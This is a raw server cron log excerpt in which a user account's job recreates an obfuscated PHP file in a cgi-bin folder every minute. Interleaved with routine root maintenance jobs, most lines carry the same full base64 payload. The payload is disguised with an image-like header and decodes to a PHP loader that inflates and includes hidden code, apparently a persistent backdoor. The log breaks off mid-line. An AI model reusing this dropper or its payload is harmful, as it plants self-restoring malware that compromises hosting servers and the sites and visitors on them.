Apr  7 10:53:01 server CROND[28907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:54:01 server CROND[28965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:55:01 server CROND[29115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:55:01 server CROND[29116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:55:01 server CROND[29117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:56:01 server CROND[29216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:57:01 server CROND[29277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 10:57:01 server CROND[29278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:58:01 server CROND[29337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:59:01 server CROND[29405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:00:01 server CROND[29550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:00:01 server CROND[29551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 11:00:01 server CROND[29553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:00:01 server CROND[29555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:01:01 server CROND[29713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:01:01 server CROND[29714]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 11:01:01 server run-parts(/etc/cron.hourly)[29714]: starting 0anacron
Apr  7 11:01:01 server run-parts(/etc/cron.hourly)[29726]: finished 0anacron
Apr  7 11:02:01 server CROND[29777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:03:01 server CROND[29827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:04:01 server CROND[29895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:05:01 server CROND[29947]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  7 11:05:01 server CROND[29948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:05:01 server CROND[29949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:05:01 server CROND[29950]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 11:05:01 server CROND[29955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:06:01 server CROND[30184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg